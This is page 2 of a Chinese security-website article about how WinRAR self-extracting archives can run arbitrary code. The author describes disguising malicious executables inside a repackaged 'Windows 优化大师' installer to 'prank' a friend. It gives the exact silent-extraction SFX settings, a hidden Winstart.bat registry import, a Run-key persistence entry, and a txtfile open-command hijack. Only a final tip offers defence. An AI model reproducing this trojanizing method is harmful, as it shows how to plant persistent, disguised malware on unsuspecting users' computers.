pc捍卫者
 当前位置 → pc捍卫者pc网络安全 → 浏览正文
安全威胁:自解压程序执行任意代码
作者:本站综合    来源:www.pchwz.com    更新时间:2009年01月13日


  
    现在的问题是如何让我的朋友运行A1.exe呢?对了,用‘Windows 优化大师’。把A1.exe与‘Windows 优化大师’的安装文件(解压后的)放在一起打包,建立 Windows 优化大师.exe,全选后击右键,选‘添加到档案文件’……操作大致同A1.exe。只不过名称改为 Windows 优化大师.exe,解压路径改成:c:\Windows\temp,而且解压后要运行A1.exe和setup.exe两个文件,其注释内容应为:Path=c:\Windows\tempSetup=a1.exeSetup=setup.exeSilent=1Overwrite=1按确认后,我们已初步完成了一份特制的‘Windows 优化大师’了,为什么说‘初步’完成呢?因为现在修改注册表和启动项早已不是什么秘密了,所以A1.exe只不过是附料,还需要加入一味主料:A2.exe.把regeditt.reg更名另存为system.reg,去掉其中的[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
  \CurrentVersion\Run]"TaskMonitoy"="regedit /s c:\\Windows\\sysbckup\\regeditt.reg"然后用计事本建立Winstart.bat,其中内容要写成:@echo off regedit c:\Windows\system.reg>nul这样写屏幕上将没有显示,完成后把这两个文件用Winrar作成自解压程序A2.exe,操作同A1.exe,但解压路径要改成 c:\WinDOWS,解压后也不需运行.其注释内容应为:Path=c:\WindowsSilent=1Overwrite=1完成后把a2.exe加入做好的 Windows 优化大师.exe,加入方法是:右击 Windows 优化大师.exe选择‘用Winrar打开’,把a2.exe拖入,按确定,然后点击工具栏中的注释,修改其中内容为:Path=c:\Windows\tempSetup=a1.exeSetup=a2.exeSetup=setup.exeSilent=1Overwrite=1然后确定-退出。到此为止,特制的‘Windows 优化大师.exe’已全部完成。因为Winstart.bat是在进入Windows图形界面之前运行的一个程序,所以加入A2.exe后,就算我的朋友能恢复注册表,甚至删除regeditt.reg,但只要c:\Windows下的system.reg和Winstart.bat不被发现,重启动后他的电脑将‘××’依旧。
  
    在Windows98中启动程序的方法很多,如通过AUTOEXEC.BAT、Winstart.bat、开始菜单中的启动、注册表中的启动项、Win.ini、system.ini、Wininit.ini和修改文件关联等都可达到启动程序的目的。如:用Winrar自解压程序在注册表中导入REGEDIT4[HKEY_CLASSES_ROOT\txtfile\shell\open\command]@="regedit /s c:\\Windows\\system.reg"那么在双击txt类型文件时将不会以计事本打开,而是没有任何反应。但c:\\Windows\\system.reg中的内容也会悄无声息的被导入注册表。但我没有这样做,因为现在的这些已经够的的朋友折腾了。
  
    第二天,我把这份‘精装’的 Windows 优化大师交给了朋友,其后果可想而知。足足三天他在对着屏幕上的‘××’发愣。
  
    以上的这些只是我用了Winrar强大的自解压功能,和朋友开了一个小玩笑,但从上面事例不难看出,WinrarR的这些功能使不会编程的人也能制作出一些恶意的程序,如果有人给这些程序起上一些漂亮的名字(如Windows 优化大师 2002 等)在网上发布,用它来format你的硬盘、deltree你的文件等等,也不是没有可能的。最最可怕的是,如果运行的是一个木马程序的客户端,那后果更加的不勘设想。
  
    提示:不要直接运行自解压程序,而是选择右键菜单中的“用Winrar打开”来对付此程序,就能够保证你不中招也可以查看其中是什么内容了.

上一页
本文共 2 页,第  [1]  [2]  页

转截请注明:文章来自 pc捍卫者 http://www.pchwz.com 本站发布此文为传递更多信息之目的,不表明pc捍卫者赞同其观点

上一篇:强悍蠕虫“电兔子”劫持安全软件      下一篇保护电脑安全,找出隐藏帐号
Tags:
 
 
>> 推荐文章
·网络安全之12360崩了!
·最强手机芯片骁龙865跑分
·人民日报35岁现象怎么解析?
·卫星传输数据到iPhone的办法
·苹果手机销量暴降35%!
·红米K30普通版5G版,怎样选择K
·预计2025年5G用户渗透率为48
·红米K30真阉割版5G手机吗?
·Android 10与 iOS 1
·高通骁龙 865详细性能参数
·安卓的这个漏洞一直都还在
·苹果明年iPhone中或支持5G
·问题:5G网络什么时候才能普及?
·“携号转网”能否随心所欲?
·英特尔处理器缺货转投AMD
·国产OLED在市场的地位逐渐凸显
·交通安全日注重生命安全
·《携号转网服务管理规定》今起施行
>> 赞助商链接
|pc捍卫者|捍卫你地盘|唯尚技术|||版权声明|关于我们
本站文章除原创者其余源自网络,如有侵权请联系站长,将于24小时内删除